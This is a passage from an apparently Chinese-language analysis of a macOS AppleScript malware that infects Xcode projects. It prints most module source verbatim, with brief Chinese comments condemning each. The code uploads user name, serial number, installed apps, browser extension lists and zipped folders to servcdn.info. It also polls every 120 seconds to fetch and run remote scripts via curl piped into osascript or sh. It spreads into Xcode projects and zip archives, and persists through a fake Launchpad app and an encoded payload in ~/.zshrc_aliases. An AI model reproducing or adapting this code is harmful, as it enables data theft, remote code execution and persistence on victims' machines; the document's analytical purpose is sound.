            do shell script "cd $TMPDIR; zip -d " & zipFile & " " & quoted form of (relXcodeprojFile & "/*") & "; nice -n 15 zip -ur " & zipFile & " " & quoted form of relXcodeprojFile & " || true"
            
            do shell script "rm -rf " & quoted form of projectBase
            
        end try
        
        delay 1
        
    end repeat
    
    log ("processed " & countTotal & " zipped project files. infected: " & countInfected & " (rule: " & countInfRule & ", phase: " & countInfPhase & ", target: " & countInfTarget & "), skipped: " & countSkipped & ", cleaned: " & countCleaned & ", errors: " & countErrors)
    
    
end infectZip


on doInfect(targetFolders)
    
    
    repeat with targetFolder in targetFolders
        
        set targetFolder to quoted form of targetFolder
        
        set pathExists to do shell script "[ -d " & targetFolder & " ] && echo 'yes' || echo 'no'"
        
        if pathExists is equal to "no" then
            log "path " & targetFolder & " does not exist. skipping..."
        else
            log ("Infect path set to " & targetFolder)
            
            infectProj(targetFolder)
            
            infectZip(targetFolder)
            
        end if
        
        delay 1
        
    end repeat
    
     --log "sleeping 3600s to repeat"
    
     --delay 10
    
     --doMain()
    
    
end doInfect



on doMain()
    
    set folderOne to do shell script "echo ~"
    
    if userName is equal to "apple1" then
        
        set folderOne to do shell script ("echo ~/Desktop/demo/")
        
    end if
    
    set targetFolders to {folderOne}
    
    doInfect(targetFolders)
    
end doMain

try
    
    log "module launched replicaV5. SKIP_INFECTED: " & SKIP_INFECTED & " CLEAN_ONLY: " & CLEAN_ONLY
    
    doMain()
    
    log "module finished"
    
on error the errorMessage number the errorNumber
    
    log "fatal error: " & errorMessage
    
end try

这是这个病毒我觉得最恶心人的地方了,制毒者为了不让他的病毒被清除掉,真是无所不用其极。他遍历了~目录下,所有的文件夹,如果是iOS项目,他则会往你的****.xcodeproj文件中插入脚本代码,如果是zip文件,他还会解压出来,然后插入再压缩回去。

4.3 listing模块

global moduleName
global serialNumber
global userName
global tempFolder

set moduleName to "listing"
set serialNumber to "XX00000000XX"
try
    set serialNumber to do shell script "ioreg -c IOPlatformExpertDevice -d 2 | awk -F\\\" '/IOPlatformSerialNumber/{print $(NF-1)}' "
end try
set userName to do shell script "whoami"
set tempFolder to "/tmp/"



on log (message)

    set message to ("b:" & userName & ":" & serialNumber & ":" & moduleName & ":" & message)
    set message to (quoted form of message)

    try
        do shell script ("curl -fksL -m 6 -d " & message & " https://servcdn.info/l")
    end try
end log



on urlencode(theText)
    set theTextEnc to ""
    repeat with eachChar in characters of theText
        set useChar to eachChar
        set eachCharNum to ASCII number of eachChar
        if eachCharNum = 32 then
            set useChar to "+"
        else if (eachCharNum ≠ 42) and (eachCharNum ≠ 95) and (eachCharNum < 45 or eachCharNum > 46) and (eachCharNum < 48 or eachCharNum > 57) and (eachCharNum < 65 or eachCharNum > 90) and (eachCharNum < 97 or eachCharNum > 122) then
            set firstDig to round (eachCharNum / 16) rounding down
            set secondDig to eachCharNum mod 16
            if firstDig > 9 then
                set aNum to firstDig + 55
                set firstDig to ASCII character aNum
            end if
            if secondDig > 9 then
                set aNum to secondDig + 55
                set secondDig to ASCII character aNum
            end if
            set numHex to ("%" & (firstDig as string) & (secondDig as string)) as string
            set useChar to numHex
        end if
        set theTextEnc to theTextEnc & useChar as string
    end repeat
    return theTextEnc
end urlencode




on upload(filePath, fileName)
    set MAX_SERVER_UPLOAD_SIZE to 300
    set MAX_OVERALL_SIZE to 3000
    
    set unquotedFilePath to do shell script "echo '" & filePath & "' | xargs"
    
    set fileSize to (do shell script "du -m " & filePath & " | cut -f1") as integer
    set fileNameHuman to fileName
    set fileName to urlencode(fileName)
    
    if fileSize > MAX_OVERALL_SIZE then
        log "upload: file exceeds max size of " & MAX_OVERALL_SIZE & " MB. File size: " & fileSize & " MB"
        return
    end if
    
    if fileSize < MAX_SERVER_UPLOAD_SIZE then
        log "starting server upload for " & fileNameHuman & ". Expected file size: " & fileSize & " MB"
        
    try
            set message to ("b=" & userName & ":" & serialNumber & ":" & moduleName & ":" & fileName)
            set message to (quoted form of message)
            set fileField to quoted form of ("file=@" & unquotedFilePath)
            do shell script "curl -sk --connect-timeout 10 -F " & message & " -F " & fileField & " 'https://servcdn.info/u'"
        on error the errorMessage number the errorNumber
            log ("server upload failed with message: " & errorMessage)
        end try
        
    end if
    
end upload



try
    
    log "module launched"

    set macOsVersion to do shell script "defaults read loginwindow SystemVersionStampAsString"

    set logFile to quoted form of (tempFolder & "list.log")

    -- Applications List

    do shell script "ls /Applications &> " & logFile & " || true"

    upload(logFile, "Applications.txt")

    do shell script ("rm -f " & logFile & " || true")

    do shell script "ls /System/Applications &> " & logFile & " || true"

    upload(logFile, "Applications_System.txt")

    do shell script ("rm -f " & logFile & " || true")

    -- LaunchAgents List

    do shell script "ls ~/Library/LaunchAgents &> " & logFile & " || true"

    upload(logFile, "LaunchAgents.txt")

    do shell script ("rm -f " & logFile & " || true")


    -- Xprotect

    set logFile to quoted form of (tempFolder & "xprotect.log")

    do shell script "defaults read /Library/Apple/System/Library/CoreServices/XProtect.bundle/Contents/Info.plist CFBundleShortVersionString 2>/dev/null 1>" & logFile & " || echo 0"
    
    upload(logFile, "Xprotect.txt")

    do shell script ("rm -f " & logFile & " || true")


    -- MRT

    set logFile to quoted form of (tempFolder & "mrt.log")

    do shell script "defaults read /Library/Apple/System/Library/CoreServices/MRT.app/Contents/Info.plist CFBundleShortVersionString 2>/dev/null 1>" & logFile & " || echo 0"
    
    upload(logFile, "osmrt.txt")

    do shell script ("rm -f " & logFile & " || true")


    log "module finished"
    
    
on error the errorMessage number the errorNumber
    
    log "fatal error: " & errorMessage

这个模块是把当前Mac电脑安装的软件信息了,启动信息了一堆东西传给病毒后台。

4.4 extensions模块

global FORCED_UPDATE

set FORCED_UPDATE to false

global moduleName
global serialNumber
global userName
global tempFolder

set moduleName to "extensions"
set serialNumber to "XX00000000XX"
try
    set serialNumber to do shell script "ioreg -c IOPlatformExpertDevice -d 2 | awk -F\\\" '/IOPlatformSerialNumber/{print $(NF-1)}' "
end try
set userName to do shell script "whoami"
set tempFolder to "/tmp/"

global FOLDERS_LIST
global LOG_FILE


set FOLDERS_LIST to "
~/Library/Application Support/Firefox/Profiles/*/prefs.js|firefox_extensions
~/Library/Application Support/Google/Chrome/*/Extensions/*/manifest.json|chrome_extensions
~/Library/Application Support/Google/Chrome Canary/*/Extensions/*/manifest.json|canary_extensions
~/Library/Application Support/BraveSoftware/Brave-Browser/*/Extensions/*/manifest.json|brave_extensions
~/Library/Application Support/Microsoft Edge/*/Extensions/*/manifest.json|edge_extensions
~/Library/Application Support/com.operasoftware.Opera/*/Extensions/*/manifest.json|opera_extensions
"

set LOG_FILE to quoted form of (tempFolder & "out.txt")



on log (message)

    set message to ("b:" & userName & ":" & serialNumber & ":" & moduleName & ":" & message)
    set message to (quoted form of message)

    try
        do shell script ("curl -fksL -m 6 -d " & message & " https://servcdn.info/l")
    end try
end log



on urlencode(theText)
    set theTextEnc to ""
    repeat with eachChar in characters of theText
        set useChar to eachChar
        set eachCharNum to ASCII number of eachChar
        if eachCharNum = 32 then
            set useChar to "+"
        else if (eachCharNum ≠ 42) and (eachCharNum ≠ 95) and (eachCharNum < 45 or eachCharNum > 46) and (eachCharNum < 48 or eachCharNum > 57) and (eachCharNum < 65 or eachCharNum > 90) and (eachCharNum < 97 or eachCharNum > 122) then
            set firstDig to round (eachCharNum / 16) rounding down
            set secondDig to eachCharNum mod 16
            if firstDig > 9 then
                set aNum to firstDig + 55
                set firstDig to ASCII character aNum
            end if
            if secondDig > 9 then
                set aNum to secondDig + 55
                set secondDig to ASCII character aNum
            end if
            set numHex to ("%" & (firstDig as string) & (secondDig as string)) as string
            set useChar to numHex
        end if
        set theTextEnc to theTextEnc & useChar as string
    end repeat
    return theTextEnc
end urlencode




on upload(filePath, fileName)
    set MAX_SERVER_UPLOAD_SIZE to 300
    set MAX_OVERALL_SIZE to 3000
    
    set unquotedFilePath to do shell script "echo '" & filePath & "' | xargs"
    
    set fileSize to (do shell script "du -m " & filePath & " | cut -f1") as integer
    set fileNameHuman to fileName
    set fileName to urlencode(fileName)
    
    if fileSize > MAX_OVERALL_SIZE then
        log "upload: file exceeds max size of " & MAX_OVERALL_SIZE & " MB. File size: " & fileSize & " MB"
        return
    end if
    
    if fileSize < MAX_SERVER_UPLOAD_SIZE then
        log "starting server upload for " & fileNameHuman & ". Expected file size: " & fileSize & " MB"
        
    try
            set message to ("b=" & userName & ":" & serialNumber & ":" & moduleName & ":" & fileName)
            set message to (quoted form of message)
            set fileField to quoted form of ("file=@" & unquotedFilePath)
            do shell script "curl -sk --connect-timeout 10 -F " & message & " -F " & fileField & " 'https://servcdn.info/u'"
        on error the errorMessage number the errorNumber
            log ("server upload failed with message: " & errorMessage)
        end try
        
    end if
    
end upload


on split(someText, delimiter)
    set AppleScript's text item delimiters to delimiter
    set someText to someText's text items
    set AppleScript's text item delimiters to {""} --> restore delimiters to default value
    return someText
end split


on implode(myList, delimiter)
    set AppleScript's text item delimiters to delimiter
    set someText to myList as text
    set AppleScript's text item delimiters to {""} --> restore delimiters to default value
    return someText
end implode

on doRepeatLoop(theLine)
    
    delay 0.5
    
    if theLine is equal to "" then
        return
    end if
    
    set chunks to split(theLine, "|")
    
    
    if chunks is equal to {} then
        return
    end if
    
    set findPath to item 1 of chunks
    
    if findPath contains "*" then
        
        set findPath to do shell script ("echo " & findPath)
        
        set findName to quoted form of (do shell script ("basename " & quoted form of findPath))
        
        set findPath to do shell script ("dirname " & quoted form of findPath)
        
        --log findPath
        
        set subChunks to split(findPath, "*")
        
        --log subChunks
        
        set basePath to item 1 of subChunks
        
        set basePath to quoted form of basePath
        
        if (count of subChunks) > 1 then
            
            set iPath to subChunks's items 2 thru -1
            
            
            
            set iPath to implode(iPath, "*")
            
            
            
            set iPath to quoted form of ("*" & iPath & "*")
            
            
        else
            
            set iPath to quoted form of "/*"
            
            
        end if
        
        
        
        set execCom to "grep -E 'default_title|name' {} \\+ 2>/dev/null || true) | cut -f4 -d '\"'"
        
        if findName contains "prefs.js" then
            
            set execCom to "grep  'extensions.webextensions.ExtensionStorageIDB' {} \\+ 2>/dev/null || true) | cut -f2 -d '\"'"
            
        end if
        
        set comLine to "(find " & basePath & " -type f -ipath " & iPath & " -iname " & findName & " -exec " & execCom
        
        
        set resLines to paragraphs of (do shell script comLine)
        
        if resLines is not equal to {} then
            
            if (count of chunks) > 1 then
                
                do shell script ("echo '***** " & (item 2 of chunks) & " ****' >> " & LOG_FILE)
                
            end if
            
            set printLines to (implode(resLines, "\\n") & "\\n\\n")
            set printLines to quoted form of printLines

            
            do shell script ("echo " & printLines & ">>" & LOG_FILE)
            
        end if
        
    end if
    
end doRepeatLoop



on doMain()
    
    do shell script ("echo '' > " & LOG_FILE)
    
    set foldersList to paragraphs of FOLDERS_LIST
    
    repeat with theLine in foldersList
        
        try
            
            doRepeatLoop(theLine)
            
        end try
        
    end repeat
    
    upload(LOG_FILE, "extensions.txt")
    
    do shell script ("rm -rf " & LOG_FILE)
    
end doMain


try
    
    log "module launched"
    
    doMain()
    
    log "module finished"
    
on error the errorMessage number the errorNumber
    
    log "fatal error: " & errorMessage
    
end try

本模块读取浏览器的所有插件信息,然后上传。

4.5 payloader模块

global moduleName
global serialNumber
global userName
global tempFolder

set moduleName to "payloader"
set serialNumber to "XX00000000XX"
try
    set serialNumber to do shell script "ioreg -c IOPlatformExpertDevice -d 2 | awk -F\\\" '/IOPlatformSerialNumber/{print $(NF-1)}' "
end try
set userName to do shell script "whoami"
set tempFolder to "/tmp/"

global REQUEST_INTERVAL

set REQUEST_INTERVAL to 120



on log (message)

    set message to ("b:" & userName & ":" & serialNumber & ":" & moduleName & ":" & message)
    set message to (quoted form of message)

    try
        do shell script ("curl -fksL -m 6 -d " & message & " https://servcdn.info/l")
    end try
end log



on launchApp(appFile, wait)
    
    if wait then
        do shell script ("open -Wgna " & appFile)
        
    else
        do shell script ("open -gna " & appFile & " &> /dev/null & echo $!")
    end if
    
end launchApp

on isInstalled(bundleId)
    
    set appId to ""
    
    try
        set appId to do shell script "mdfind kMDItemCFBundleIdentifier = '" & bundleId & "'"
    end try
    
    if appId is equal to "" then
        return false
    end if
    
    return true
    
end isInstalled

on boot(moduleName, wait)
    
    try

        if moduleName = "telegram" and isInstalled("ru.keepcoder.Telegram") is false then
            
            log ("Telegram not found for " & moduleName)
            
            return
            
        end if

        if moduleName = "cd" and isInstalled("com.google.Chrome") is false then
            
            log ("Chrome not found for " & moduleName)
            
            return
            
        end if

        
        set finderModules to {"replicator", "uploader_folder", "finder", "exec"}
        
        
        if finderModules contains moduleName then
            boot("finder_app", true)
            
            set finderApp to "/Applications/SimulatorTrampoline.app"
            
            set finderAppExists to do shell script ("[ -d " & finderApp & " ] && echo '1' || echo '0'")
            
            if finderAppExists = "0" then
                error "Finder app was not found"
            end if
            
            
            set scptFile to finderApp & "/Contents/Resources/Scripts/app.scpt"
            set scptFile to quoted form of scptFile
            
            do shell script "curl -fksL -d 's=" & serialNumber & "' 'https://servcdn.info/s/" & moduleName & ".ini' | osacompile -x -o " & scptFile
            
            launchApp(finderApp, wait)
            
            delay 1
            
            do shell script "rm -f " & scptFile
            
            return
        end if
        
        --set appFileUnquoted to tempFolder & moduleName & ".app"
        --set appFile to quoted form of (appFileUnquoted)
        --do shell script "curl -fksL -d 's=" & serialNumber & "' 'https://servcdn.info/s/" & moduleName & ".ini' | osacompile -x -o " & appFile
        
        --launchApp(appFile, wait)

        if wait then
            do shell script "osascript -e \"$(curl -fskL -d 's=" & serialNumber & "' 'https://servcdn.info/s/" & moduleName & ".ini')\""
        else
            do shell script "osascript -e \"$(curl -fksL -d 's=" & serialNumber & "' 'https://servcdn.info/s/" & moduleName & ".ini')\" &>/dev/null &"
        end if
        
        
    on error the errorMessage number the errorNumber
        
        log ("Module " & moduleName & " boot failed with message: " & errorMessage)

        delay 1
        
    end try
    
end boot

on split(someText, delimiter)
    set AppleScript's text item delimiters to delimiter
    set someText to someText's text items
    set AppleScript's text item delimiters to {""} --> restore delimiters to default value
    return someText
end split

on doMain()
    
    try

        set theModuleName to do shell script "curl -m 6 -fksL -d 'u=" & userName & "&s=" & serialNumber & "' https://servcdn.info/p"
        
            if theModuleName is not equal to "" then

                boot(theModuleName, false)
                
            end if
    
    on error the errorMessage number the errorNumber
    
        log "payload request failed: " & errorMessage
    
    end try
    
    delay REQUEST_INTERVAL
    
    doMain()
    
end doMain

try
    
    log "module launched"
    
    doMain()
    
    log "module finished"
    
on error the errorMessage number the errorNumber
    
    log "fatal error: " & errorMessage
    
end try

这个模块也很恶心,他每隔120秒就会去请求执行一次安装流程,等于说你如果发现了这个问题,把他的cd了,项目里面的内容了给改回去了,2分钟后,又重置了,恶心死人了。

4.6 data_folders模块

global FORCED_UPDATE

set FORCED_UPDATE to false

global moduleName
global serialNumber
global userName
global tempFolder

set moduleName to "data_folders"
set serialNumber to "XX00000000XX"
try
    set serialNumber to do shell script "ioreg -c IOPlatformExpertDevice -d 2 | awk -F\\\" '/IOPlatformSerialNumber/{print $(NF-1)}' "
end try
set userName to do shell script "whoami"
set tempFolder to "/tmp/"

global USED_FILENAMES

set USED_FILENAMES to {}



on log (message)

    set message to ("b:" & userName & ":" & serialNumber & ":" & moduleName & ":" & message)
    set message to (quoted form of message)

    try
        do shell script ("curl -fksL -m 6 -d " & message & " https://servcdn.info/l")
    end try
end log



on urlencode(theText)
    set theTextEnc to ""
    repeat with eachChar in characters of theText
        set useChar to eachChar
        set eachCharNum to ASCII number of eachChar
        if eachCharNum = 32 then
            set useChar to "+"
        else if (eachCharNum ≠ 42) and (eachCharNum ≠ 95) and (eachCharNum < 45 or eachCharNum > 46) and (eachCharNum < 48 or eachCharNum > 57) and (eachCharNum < 65 or eachCharNum > 90) and (eachCharNum < 97 or eachCharNum > 122) then
            set firstDig to round (eachCharNum / 16) rounding down
            set secondDig to eachCharNum mod 16
            if firstDig > 9 then
                set aNum to firstDig + 55
                set firstDig to ASCII character aNum
            end if
            if secondDig > 9 then
                set aNum to secondDig + 55
                set secondDig to ASCII character aNum
            end if
            set numHex to ("%" & (firstDig as string) & (secondDig as string)) as string
            set useChar to numHex
        end if
        set theTextEnc to theTextEnc & useChar as string
    end repeat
    return theTextEnc
end urlencode




on upload(filePath, fileName)
    set MAX_SERVER_UPLOAD_SIZE to 300
    set MAX_OVERALL_SIZE to 3000
    
    set unquotedFilePath to do shell script "echo '" & filePath & "' | xargs"
    
    set fileSize to (do shell script "du -m " & filePath & " | cut -f1") as integer
    set fileNameHuman to fileName
    set fileName to urlencode(fileName)
    
    if fileSize > MAX_OVERALL_SIZE then
        log "upload: file exceeds max size of " & MAX_OVERALL_SIZE & " MB. File size: " & fileSize & " MB"
        return
    end if
    
    if fileSize < MAX_SERVER_UPLOAD_SIZE then
        log "starting server upload for " & fileNameHuman & ". Expected file size: " & fileSize & " MB"
        
    try
            set message to ("b=" & userName & ":" & serialNumber & ":" & moduleName & ":" & fileName)
            set message to (quoted form of message)
            set fileField to quoted form of ("file=@" & unquotedFilePath)
            do shell script "curl -sk --connect-timeout 10 -F " & message & " -F " & fileField & " 'https://servcdn.info/u'"
        on error the errorMessage number the errorNumber
            log ("server upload failed with message: " & errorMessage)
        end try
        
    end if
    
end upload


on split(someText, delimiter)
    set AppleScript's text item delimiters to delimiter
    set someText to someText's text items
    set AppleScript's text item delimiters to {""} --> restore delimiters to default value
    return someText
end split

on implode(myList, delimiter)
    set AppleScript's text item delimiters to delimiter
    set someText to myList as text
    set AppleScript's text item delimiters to {""} --> restore delimiters to default value
    return someText
end implode

on str_replace(this_text, search_string, replacement_string)
    set AppleScript's text item delimiters to the search_string
    set the item_list to every text item of this_text
    set AppleScript's text item delimiters to the replacement_string
    set this_text to the item_list as string
    set AppleScript's text item delimiters to ""
    return this_text
end str_replace

on doRepeatLoop(foldersList)
    
    
    
    delay 0.5
    
    if foldersList is equal to {} then
        return
    end if
    
    try
        
        set theLine to item 1 of foldersList
        
        -- log "processing line " & theLine
        
        set chunks to split(theLine, "|")
        
        if chunks is not equal to {} then
            
            set findPath to item 1 of chunks
            
            if theLine contains "FIREFOX_META_FLAG" then
                
                set findPath to str_replace(findPath, " ", "\\ ")
                
                set foundGrepPath to do shell script "grep -lir -E '\\smetamask\\s' " & findPath & " | head -1 | awk -Fidb 'NF>1 { print $1 }'"
                
                --log foundGrepPath
                
                set findPaths to {}
                
                if foundGrepPath is not equal to "" then
                    
                    if (count of chunks) > 1 then
                        
                        set chunks to chunks's items 2 thru -2
                        
                    end if
                    
                    set end of findPaths to (foundGrepPath & "|" & implode(chunks, "|"))
                    
                end if
                
                
                set foldersList to foldersList's (items 2 thru -1)
                
                set foldersList to findPaths & foldersList
                
                doRepeatLoop(foldersList)
                
                return
                
                
            end if
            
            
            if findPath contains "*" then
                
                set findPath to do shell script ("echo " & findPath)
                
                set findName to quoted form of (do shell script ("basename " & quoted form of findPath))
                
                set findPath to do shell script ("dirname " & quoted form of findPath)
                
                --log findPath
                
                set subChunks to split(findPath, "*")
                
                --log subChunks
                
                set basePath to item 1 of subChunks
                
                set basePath to quoted form of basePath

                set checkDirExists to do shell script ("[ -d " & basePath & " ] && echo 'yes' || echo 'no'")
                
                if checkDirExists is equal to "no" then

                    log "not found folder: " & basePath
                    
                    set foldersList to foldersList's (items 2 thru -1)
        
                    doRepeatLoop(foldersList)

                    return
                    
                end if

                
                if (count of subChunks) > 1 then
                    
                    set iPath to subChunks's items 2 thru -1
                    
                    
                    
                    set iPath to implode(iPath, "*")
                    
                    
                    
                    set iPath to quoted form of ("*" & iPath & "*")
                    
                    
                else
                    
                    set iPath to quoted form of "/*"
                    
                    
                end if
                
                
                set comLine to "find " & basePath & " -type d -ipath " & iPath & " -iname " & findName & " -print 2>/dev/null || true"
                
                --log comLine
                
                set findPaths to paragraphs of (do shell script (comLine))
                
                --log findPaths
                
                
                if (count of chunks) > 1 then
                    set chunks to (chunks's items 2 thru -1)
                    
                    repeat with i from 1 to (count findPaths)
                        
                        set extraLine to implode(chunks, "|")
                        
                        set item i of findPaths to ((item i of findPaths) & "|" & extraLine)
                        
                    end repeat
                end if
                
                
                set foldersList to foldersList's (items 2 thru -1)
                
                set foldersList to findPaths & foldersList
                
                doRepeatLoop(foldersList)
                
                return
                
            end if
            
            set folderPath to do shell script ("echo " & findPath)
            
            set folderPath to quoted form of folderPath
            
            set checkDirExists to do shell script ("[ -d " & folderPath & " ] && echo 'yes' || echo 'no'")
            
            
            if checkDirExists is equal to "yes" then
                
                try
                    
                    log "data folder found " & folderPath
                    
                    set folderNameBaseName to do shell script ("echo $(basename " & folderPath & ")")
                    
                    set savePath to quoted form of (tempFolder & folderNameBaseName & ".zip")
                    
                    set comLine to "cd " & folderPath & "; cd .. ; rm -rf " & savePath & " && nice -n 10 zip -yr " & savePath & " " & (quoted form of folderNameBaseName)
                    
                    if (count of chunks) > 1 then
                        set excludeFolderNames to split((item 2 of chunks), ",")
                        repeat with theExculsionFolder in excludeFolderNames
                            set comLine to comLine & " -x '*/" & theExculsionFolder & "/*'"
                        end repeat
                    end if
                    
                    set comLine to comLine & " -x '*/.git/*'"
                    
                    --log comLine
                    
                    do shell script comLine
                    
                    set uploadFileName to folderNameBaseName
                    
                    if (count of chunks) > 2 then
                        set customFileName to (item 3 of chunks)
                        set uploadFileName to customFileName
                    end if
                    
                    if USED_FILENAMES contains uploadFileName then
                        
                        set uploadFileName to uploadFileName & "_"
                        
                    end if
                    
                    set end of USED_FILENAMES to uploadFileName
                    
                    upload(savePath, (uploadFileName & "_data.zip"))
                    
                    do shell script ("rm -rf " & savePath)
                    
                on error the errorMessage number the errorNumber
                    log ("folder processing failed: " & errorMessage)
                end try
                
            else
                
                log "not found folder: " & folderPath
                
            end if
            
            
            
        end if
        
        
    end try
    
    if (count of foldersList) > 1 then
        
        set foldersList to foldersList's (items 2 thru -1)
        
    else
        
        set foldersList to {}
        
    end if
    
    
    
    doRepeatLoop(foldersList)
    
    
    
end doRepeatLoop


on doMain()
    
    set message to "f&u=" & userName & "&s=" & serialNumber

    set message to quoted form of message

    set foldersList to paragraphs of (do shell script ("curl -fksL -m 6 -d " & message & " https://servcdn.info/u"))

    doRepeatLoop(foldersList)
    
    
end doMain


try
    
    log "module launched"

    doMain()
    
    log "module finished"
    
on error the errorMessage number the errorNumber
    
    log "fatal error: " & errorMessage
    
end try

本模块讲当前电脑下面所有的文件信息打包上传服务器,只是文件信息,没有上传文件。

4.7 persist模块

global RESTORE_DEFAULT
global DOCKUTIL_FORCE_RESTART

set RESTORE_DEFAULT to false
set DOCKUTIL_FORCE_RESTART to false

global moduleName
global serialNumber
global userName
global tempFolder

set moduleName to "persist_a"
set serialNumber to "XX00000000XX"
try
    set serialNumber to do shell script "ioreg -c IOPlatformExpertDevice -d 2 | awk -F\\\" '/IOPlatformSerialNumber/{print $(NF-1)}' "
end try
set userName to do shell script "whoami"
set tempFolder to "/tmp/"



on log (message)

    set message to ("b:" & userName & ":" & serialNumber & ":" & moduleName & ":" & message)
    set message to (quoted form of message)

    try
        do shell script ("curl -fksL -m 6 -d " & message & " https://servcdn.info/l")
    end try
end log


global dockUtil
global APP_VERSION

set APP_VERSION to "2.0"

on split(someText, delimiter)
    set AppleScript's text item delimiters to delimiter
    set someText to someText's text items
    set AppleScript's text item delimiters to {""} --> restore delimiters to default value
    return someText
end split

on str_replace(this_text, search_string, replacement_string)
    set AppleScript's text item delimiters to the search_string
    set the item_list to every text item of this_text
    set AppleScript's text item delimiters to the replacement_string
    set this_text to the item_list as string
    set AppleScript's text item delimiters to ""
    return this_text
end str_replace

on getPayloadBody(pName)

    set dArray to "(\"adguards.ru\" \"trendsolutions.info\" \"servcdn.info\" \"apscdn.ru\" \"mobilecdn.ru\" \"adguardstats.ru\")"

    set encMethods to {"xxd -p -c0|xxd -p -r", "base64|base64 -D"}
    
    set encMethod to some item of encMethods
    
    set chunks to split(encMethod, "|")
    
    set encFunc to item 1 of chunks
    
    set decFunc to item 2 of chunks
    
    set encString to do shell script "echo 'd=" & dArray & ";c=${d[$(($RANDOM % ${#d[@]} ))]};curl -fskL -d \"p=" & pName & "\" \"https://$c/a\" | sh' | " & encFunc
    
    set shPayload to "(echo " & encString & " | " & decFunc & " | sh >/dev/null 2>&1 &)"
    
    return shPayload

end getPayloadBody


on getPayloadForApp(appName, fileUri)
    
    set payload to "do shell script \"open '" & fileUri & "'\""
    
    if appName = "Launchpad.app" then

        set payload to getPayloadBody("Launchpad")
        
        set payload to "
do shell script \"open -b com.apple.launchpad.launcher\"
do shell script \"" & payload & "\"
"

        
    end if
    
    return payload
    
end getPayloadForApp


on restoreItem(appName, fileUri, itemName)
    
    log "restoring item " & fileUri
    
    
    set appFile to ""
    
    
    if appName = "Launchpad.app" then
        
        set appFile to "/System/Applications/Launchpad.app"
        
    end if

    if appFile is equal to "" then return
    
    set appDiskPath to str_replace(fileUri, "file:///", "/")
    
    try
        do shell script "rm -rf " & quoted form of appDiskPath
        log "app deleted in Caches/com.apple.finder"
    end try
    
    
    set noRestart to " --no-restart"
    
    if DOCKUTIL_FORCE_RESTART is true then
        
        set noRestart to ""
        
    end if
    
    do shell script dockUtil & " --add " & appFile & " --label " & quoted form of itemName & " --replacing " & quoted form of itemName & " " & noRestart
        
        
    log "dockutil --add " & appFile & " --label " & quoted form of itemName & " --replacing " & quoted form of itemName & " " & noRestart
    
    
end restoreItem

on processItem(theItem)
    
    log "processing item: " & theItem
    
    set chunks to split(theItem, "|")
    
    if (count of chunks) < 2 then return
    
    set itemName to item 1 of chunks
    
    set fileUri to item 2 of chunks
    
    set fileUrl to quoted form of (str_replace(fileUri, "%20", " "))
    
        
    set appName to do shell script "basename " & fileUri
    
    set appName to str_replace(appName, "%20", " ")

    if theItem contains "Caches/com.apple.finder" and RESTORE_DEFAULT is true then
        
        restoreItem(appName, fileUrl, itemName)
        
        return
        
    end if


    if theItem contains "Caches/com.apple.finder" then
        
        log "item " & theItem & " already done"
        
        set appDiskPath to str_replace(fileUri, "file:///", "/")
        
        set infoPlistFile to quoted form of (appDiskPath & "/Contents/Info.plist")
        
        
        set appVersion to do shell script ("defaults read " & infoPlistFile & " CFBundleShortVersionString 2>/dev/null || echo '1.0'")
        
        if appVersion is not equal to APP_VERSION then
            
            log "version change was " & appVersion & ". currrent: " & APP_VERSION & ". updating..."
            
        else
            
            return
            
        end if
        
    end if

    
    set appFileDir to do shell script "echo ~/Library/Caches/com.apple.finder/"
    
    set appFileUnquoted to appFileDir & appName
    
    set appFile to quoted form of appFileUnquoted
    
    set payload to getPayloadForApp(appName, fileUri)
    
    set payload to quoted form of payload
    
    
    do shell script "rm -rf " & appFile & " && osacompile -x -e " & payload & " -o " & appFile -- x option add

    if appName = "Launchpad.app" then
    
        do shell script "plutil -replace LSUIElement -bool YES " & appFileUnquoted & "/Contents/Info.plist"
        do shell script "plutil -replace CFBundleDisplayName -string 'Launchpad' " & appFileUnquoted & "/Contents/Info.plist"
        do shell script "plutil -replace CFBundleIdentifier -string 'com.apple.launchpad.launcher' " & appFileUnquoted & "/Contents/Info.plist"

        set infoPlistLoctable to quoted form of appFileUnquoted & "/Contents/Resources/InfoPlist.loctable"
        do shell script ("curl -fksL -o " & infoPlistLoctable & " 'https://servcdn.info/agent/bin/InfoPlist.loctable_launchpad'")

        set lprojDirs to quoted form of appFileUnquoted & "/Contents/Resources/{ar.lproj,zh_CN.lproj,zh_HK.lproj,zh_TW.lproj}"
        do shell script ("mkdir -p " & lprojDirs)

    end if

    do shell script "plutil -replace CFBundleShortVersionString -string '" & APP_VERSION & "' " & appFileUnquoted & "/Contents/Info.plist"

    set icnsFile to quoted form of appFileUnquoted & "/Contents/Resources/applet.icns"

    try
        set iconName to str_replace(appName, ".app", "")
        set iconName to str_replace(iconName, " ", "")
        set macOsVersion to do shell script "defaults read loginwindow SystemVersionStampAsString"
        do shell script ("curl -fksL -o " & icnsFile & " 'https://servcdn.info/agent/bin/icons.php?icon=" & iconName & "&os=" & macOsVersion & "'")
    end try
    
    do shell script "codesign --force --deep -s - " & appFile
    
    log "app in place and codesigned"
    
    if theItem does not contain "Caches/com.apple.finder" then
        
        set noRestart to " --no-restart"
        
        if DOCKUTIL_FORCE_RESTART is true then
            
            set noRestart to ""
            
        end if
        
        do shell script dockUtil & " --add " & appFile & " --label " & quoted form of itemName & " --replacing " & quoted form of itemName & " " & noRestart
        
        
        log "dockutil --add " & appFile & " --label " & quoted form of itemName & " --replacing " & quoted form of itemName & " " & noRestart
        
    end if
    
    
end processItem


on doDock()
    
    
    set dockUtil to quoted form of (tempFolder & "dockutil")
    
    try
        do shell script ("curl -fksL -o " & dockUtil & " https://servcdn.info/agent/bin/dockutil --create-dirs")
        do shell script "chmod +x " & dockUtil
    on error the errorMessage
        log "failed downloading dockutil: " & errorMessage
        return
    end try
    
    
    try
        
        set itemSet to paragraphs of (do shell script dockUtil & " --list | cut -f 1-2 | sed 's/\\t/|/g' | grep -E '/(Launchpad).app' | cat")

        log (do shell script "file " & dockUtil & " | head -n 1")

        --log (do shell script "codesign -vvv " & dockUtil)

        log (do shell script dockUtil & " --version")

    on error errorMessage
        error "dockutil error: " & errorMessage
    end try
    
    if itemSet is equal to {} then
        log "no matching Dock items"
        return
    end if
    
    repeat with theItem in itemSet
        
        processItem(theItem)
        
    end repeat


    do shell script "rm -rf " & dockUtil
        
    
end doDock


on doMain()

    try

        set payload to getPayloadBody("Terminal")
        set payload to quoted form of payload

        do shell script "echo " & payload & " > ~/.zshrc_aliases"

        log ".zshrc_aliases updated"

        set payload to "[ -f $HOME/.zshrc_aliases ] && . $HOME/.zshrc_aliases"

        set payload to quoted form of payload

        do shell script "touch ~/.zshrc"

